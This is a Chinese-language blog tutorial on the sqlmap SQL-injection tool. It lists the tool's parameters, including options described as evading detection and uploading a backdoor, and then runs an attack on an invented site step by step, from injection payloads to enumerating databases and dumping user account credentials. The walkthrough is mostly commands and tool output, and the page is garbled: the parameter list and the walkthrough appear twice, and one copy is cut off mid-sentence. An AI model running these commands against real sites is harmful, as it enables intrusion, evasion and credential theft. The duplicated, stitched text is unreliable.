在上一篇的時候,我們介紹過SQL注入漏洞和基本的檢驗方法還有SQLmap的配置(請參考:這裡),那這篇文章就要來介紹SQLmap的使用啦!
在學SQLmap之前,我們要先有一些資料庫的概念,假設我們把好幾份表格(資料表)放在一個資料夾內,而每個表格都是用來記錄員工的資料,例如姓名、生日、身分證字號之類的。上面例子中,我們的資料夾其實就是資料庫(Database),而資料庫內有好幾份資料表(Tables),再來,資料表內有好機個欄位(Columns):姓名、生日、身分證字號之類的。所以上面這些名詞的關係是:Database -> Tables -> Columns,知道這個最基本的概念之後,就來介紹SQLmap的使用吧!
首先,假設我們把SQLmap放在C:Toolssqlmap資料夾下:
接下來,開啟CMD(如果不知道怎麼開的話,請參考:這篇文章),輸入: cd C: (切換到C槽),接著輸入:cd Tools (進入Tools資料夾),最後輸入: cd sqlmap (進入sqlmap資料夾),然後確認路徑是否正確:
正常的話,輸入sqlmap.py會看到:
好的,配置完成了,接下來就來教參數的部分。
以下列出SQLmap的參數和說明:
________________________________________________
-u URL :指定要掃描的網頁網址,要用「”」把網址框起來。
-d DBMS_IP :(連線方式)直接連線,DBMS_IP格式為:”mysql://USER:PASSWORD@IP:PORT/DATABASE”。
-m FILE_NAME :從伺服器資料清單黨進行大量爬找作業(一個一個試)。
-c FILE.conf :從FILE.conf載入參數。
–method=POST/GET :設定請求方法(預設就都用GET)
–data “Field1=value1[&Field2=value2]” :使用POST方法時,指定注入的欄位。
–cookie “id=1[;name=value…]” :指定提交的cookie值,當有多個值時,用「;」號分開。
–auth-type=A_TYPE :指定驗證模式(Basic、Digest、NTLM)。
–auth-cred=ID:PASSWORD :搭配上面那條,並指定帳號、密碼。
–proxy URL:PORT :搭配Proxy使用。
–proxy-cred=ID:PASSWORD :搭配上一條,並指定Proxy的帳號及密碼。
–skip-urlencode :不使用url編碼。
–delay=DELAY :美請求一次就等DELAY秒。
–timeout=TIMEOUT :試定伺服器回應逾時長度(預設是30秒)。
–retries=RETRIES :伺服器逾時時要重式的次數(預設為3)。
–threads N :指定使用的執行序數(1~10,多多益善)
–safe-url=URL :指定一組安全的網址,像是首頁之類的,以免被抓到。
–safe-freq=SAFEFREQ :搭配上一條,先對安全的網址試SAFEFREQ次後,再開始攻擊。
–hpp :再傳遞的資料中,參雜一些無意義的資料,以免被抓。
-p “ID” :對指定ID欄位進行注入,如有多組,請用「,」分隔。
–skip=”ID” :略過指定的ID欄位(不進行注入)。
–dbms DBMS :指定資料庫系統,可以指定的有:”MySQL”、“Oracle”、“PostgreSQL”、“Microsoft SQL Server”、“Microsoft_Access”、“SQLite”、“Firebird”、“Sybase”、“SAP MaxDB”、“DB2″。
–dbms-cred=”ID:PASSWORD” :指定資料庫連線的使用者名稱和密碼。
–os=”OS_TYPE” :指定伺服器作業系統(Windpws、Linux)。
–prefix=”SUFFIX” :在傳遞資料時,在前面補上SUFFIX。
–union-test :啟用union語法的注入方式。
–union-tech orderby :啟用union語法和orderby語法搭配的注入方式。
–level=N :指定猜解等級(1~5,通常設3)。
–risk=N :指定猜解的深度(1~3,通常用3)。
–current-user :猜解資料庫目前的使用者名稱。
–current-db :猜解目前的資料庫。
–is-dba :猜解目前的資料庫使用這是否為資料庫的管理員。
–users :列出此資料庫的所有使用者帳號。
–passwords :列出此資料庫的所有使用者密碼的雜湊值。
–privileges :列出此資料庫的所有使用者的權限。
–roles :列出此資料庫的所有使用者的角色。
–dump-all :把所有資料庫內容吐出來(一般要執行超超超超級久,不建議使用)。
–dbs :列出此資料庫系統上有哪些資料庫。
–tables :列出資料庫內有哪些資料表(搭配-D使用)。
–-columns :列出資料表內有哪些欄位(搭配-T使用)。
-D database_name :指定資料庫名子。
-T tables_name :指定資料表。
-C “columns_name” :指定欄位,多組資料用「,」分隔。
-U user_id :指定猜解對象的資料庫使用者,user_id是使用者帳號。
–start=N –stop=M :僅列出地N~第M筆資料。
–sql-shell :注入成功後,進入SQL命令列模式
–os-shell :上傳後門。
–sql-file=SQLFILE :執行SQLFILE內的SQL指令。
–dump :將所有指定的項目內容顯示出來,並存檔。
–update :進行SQLmap更新。
-v N :指定顯示的詳細程度(1~6,數值越大越詳細)。
–batch :如過程中要徵求使用者回答,一慮採用預設值。
________________________________________________
好的,介紹完所有參數後(汗),就舉個實例讓大家更熟悉SQLmap的使用吧!
因為要進行攻擊,所以我就不拿真正的網站來示範了(等一下被抓去關)。假設我們已知有個網站:https://www.sqlinjectiondemo.com(這網址我亂掰的)的”https://www.sqlinjectiondemo.com/index.php?ID=87″這個地方存在SQL注入漏洞,接著,將網址以參數-u餵給SQLmap:
在上面那個已經切換到指定資料夾的CMD輸入:
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch
(加–batch是我懶得回應,讓電腦擺那邊一值跑就好)然後我們得到以下輸出:
——————————————————————————
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: ID=2 AND 1975=1975
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: ID=2 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) – 11 columns
Payload: ID=87 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7871,0x67784145704f52747254474e7973486b5574596a576f6c4466794d567952444758466e7557627364,0x7178767a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL– HXgT
—
[10:42:19] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, PHP 5.6.15, ASP.NET
以下列出SQLmap的參數和說明:
________________________________________________
-u URL :指定要掃描的網頁網址,要用「”」把網址框起來。
-d DBMS_IP :(連線方式)直接連線,DBMS_IP格式為:”mysql://USER:PASSWORD@IP:PORT/DATABASE”。
-m FILE_NAME :從伺服器資料清單黨進行大量爬找作業(一個一個試)。
-c FILE.conf :從FILE.conf載入參數。
–method=POST/GET :設定請求方法(預設就都用GET)
–data “Field1=value1[&Field2=value2]” :使用POST方法時,指定注入的欄位。
–cookie “id=1[;name=value…]” :指定提交的cookie值,當有多個值時,用「;」號分開。
–auth-type=A_TYPE :指定驗證模式(Basic、Digest、NTLM)。
–auth-cred=ID:PASSWORD :搭配上面那條,並指定帳號、密碼。
–proxy URL:PORT :搭配Proxy使用。
–proxy-cred=ID:PASSWORD :搭配上一條,並指定Proxy的帳號及密碼。
–skip-urlencode :不使用url編碼。
–delay=DELAY :美請求一次就等DELAY秒。
–timeout=TIMEOUT :試定伺服器回應逾時長度(預設是30秒)。
–retries=RETRIES :伺服器逾時時要重式的次數(預設為3)。
–threads N :指定使用的執行序數(1~10,多多益善)
–safe-url=URL :指定一組安全的網址,像是首頁之類的,以免被抓到。
–safe-freq=SAFEFREQ :搭配上一條,先對安全的網址試SAFEFREQ次後,再開始攻擊。
–hpp :再傳遞的資料中,參雜一些無意義的資料,以免被抓。
-p “ID” :對指定ID欄位進行注入,如有多組,請用「,」分隔。
–skip=”ID” :略過指定的ID欄位(不進行注入)。
–dbms DBMS :指定資料庫系統,可以指定的有:”MySQL”、“Oracle”、“PostgreSQL”、“Microsoft SQL Server”、“Microsoft_Access”、“SQLite”、“Firebird”、“Sybase”、“SAP MaxDB”、“DB2″。
–dbms-cred=”ID:PASSWORD” :指定資料庫連線的使用者名稱和密碼。
–os=”OS_TYPE” :指定伺服器作業系統(Windpws、Linux)。
–prefix=”SUFFIX” :在傳遞資料時,在前面補上SUFFIX。
–union-test :啟用union語法的注入方式。
–union-tech orderby :啟用union語法和orderby語法搭配的注入方式。
–level=N :指定猜解等級(1~5,通常設3)。
–risk=N :指定猜解的深度(1~3,通常用3)。
–current-user :猜解資料庫目前的使用者名稱。
–current-db :猜解目前的資料庫。
–is-dba :猜解目前的資料庫使用這是否為資料庫的管理員。
–users :列出此資料庫的所有使用者帳號。
–passwords :列出此資料庫的所有使用者密碼的雜湊值。
–privileges :列出此資料庫的所有使用者的權限。
–roles :列出此資料庫的所有使用者的角色。
–dump-all :把所有資料庫內容吐出來(一般要執行超超超超級久,不建議使用)。
–dbs :列出此資料庫系統上有哪些資料庫。
–tables :列出資料庫內有哪些資料表(搭配-D使用)。
–-columns :列出資料表內有哪些欄位(搭配-T使用)。
-D database_name :指定資料庫名子。
-T tables_name :指定資料表。
-C “columns_name” :指定欄位,多組資料用「,」分隔。
-U user_id :指定猜解對象的資料庫使用者,user_id是使用者帳號。
–start=N –stop=M :僅列出地N~第M筆資料。
–sql-shell :注入成功後,進入SQL命令列模式
–os-shell :上傳後門。
–sql-file=SQLFILE :執行SQLFILE內的SQL指令。
–dump :將所有指定的項目內容顯示出來,並存檔。
–update :進行SQLmap更新。
-v N :指定顯示的詳細程度(1~6,數值越大越詳細)。
–batch :如過程中要徵求使用者回答,一慮採用預設值。
________________________________________________
好的,介紹完所有參數後(汗),就舉個實例讓大家更熟悉SQLmap的使用吧!
因為要進行攻擊,所以我就不拿真正的網站來示範了(等一下被抓去關)。假設我們已知有個網站:https://www.sqlinjectiondemo.com(這網址我亂掰的)的”https://www.sqlinjectiondemo.com/index.php?ID=87″這個地方存在SQL注入漏洞,接著,將網址以參數-u餵給SQLmap:
在上面那個已經切換到指定資料夾的CMD輸入:
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch
(加–batch是我懶得回應,讓電腦擺那邊一值跑就好)然後我們得到以下輸出:
——————————————————————————
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: ID=2 AND 1975=1975
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: ID=2 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) – 11 columns
Payload: ID=87 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706a7871,0x67784145704f52747254474e7973486b5574596a576f6c4466794d567952444758466e7557627364,0x7178767a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL– HXgT
—
[10:42:19] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, PHP 5.6.15, ASP.NET
back-end DBMS: MySQL >= 5.0.12
——————————————————————————–
從輸出結果可以看到,該網站使用Windows Server架站,並且使用MySQL,接著,我們要得寸進尺的找出他有那些資料庫,所以我們輸入:
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch –dbms mysql –level=3 –risk=3 –thread 10 –dbs
可以看到,我們加了–dbms(剛剛已知)、–level、–risk、–thread、–dbs(因為我們要找出他有那些資料庫)這幾個參數,意思我就不用講了吧!自己去上面看。從SQLmap的執行結果中我們可以看到,該網站只有一個資料庫:USER,所以我們在進一步的去找USER資料庫下有哪些Tables:
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch –dbms mysql –level=3 –risk=3 –thread 10 -D USER –tables
從上面的指令,我們可以看到我們把–dbs換成-D來指定資料庫,並且加上了–tables來取得有哪些Table。接著,我們從回傳的數據中,發現有Account、Data、Other三個Tables,從名稱上,我們大膽猜測使用者的登入資訊在Account裡面,所以我們再建構參數如下:
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch –dbms mysql –level=3 –risk=3 –thread 10 -D USER -T Account –dump
可以發現,我們透過–dump把Account這個Table內的東西都「挖」出來…果然!吐出了使用者的帳號密碼….
上面這個例子是我隨手想的,希望讀者們能從中更了解SQLmap的參數使用,並且靈活的運用參數,院各位讀者們都能成為滲透測試專家,這一系列的教學就在這邊做收尾,如果有問題的話,可以在下方留言或到粉絲專業發問喔!
本文關鍵字:駭網站、SQLmap、SQLmap教學
——————————————————————————–
從輸出結果可以看到,該網站使用Windows Server架站,並且使用MySQL,接著,我們要
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch –dbms mysql –level=3 –risk=3 –thread 10 –dbs
可以看到,我們加了–dbms(剛剛已知)、–level、–risk、–thread、–dbs(因為我們要找出他有那些資料庫)這幾個參數,意思我就不用講了吧!自己去上面看。從SQLmap的執行結果中我們可以看到,該網站只有一個資料庫:USER,所以我們在進一步的去找USER資料庫下有哪些Tables:
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch –dbms mysql –level=3 –risk=3 –thread 10 -D USER –tables
從上面的指令,我們可以看到我們把–dbs換成-D來指定資料庫,並且加上了–tables來取得有哪些Table。接著,我們從回傳的數據中,發現有Account、Data、Other三個Tables,從名稱上,我們大膽猜測使用者的登入資訊在Account裡面,所以我們再建構參數如下:
sqlmap.py -u “https://www.sqlinjectiondemo.com/index.php?ID=87″ –batch –dbms mysql –level=3 –risk=3 –thread 10 -D USER -T Account –dump
可以發現,我們透過–dump把Account這個Table內的東西都「挖」出來…果然!吐出了使用者的帳號密碼….
上面這個例子是我隨手想的,希望讀者們能從中更了解SQLmap的參數使用,並且靈活的運用參數,院各位讀者們都能成為滲透測試專家,這一系列的教學就在這邊做收尾,如果有問題的話,可以在下方留言或到粉絲專業發問喔!
本文關鍵字:駭網站、SQLmap、SQLmap教學
1 意見
print 'hi'
回覆刪除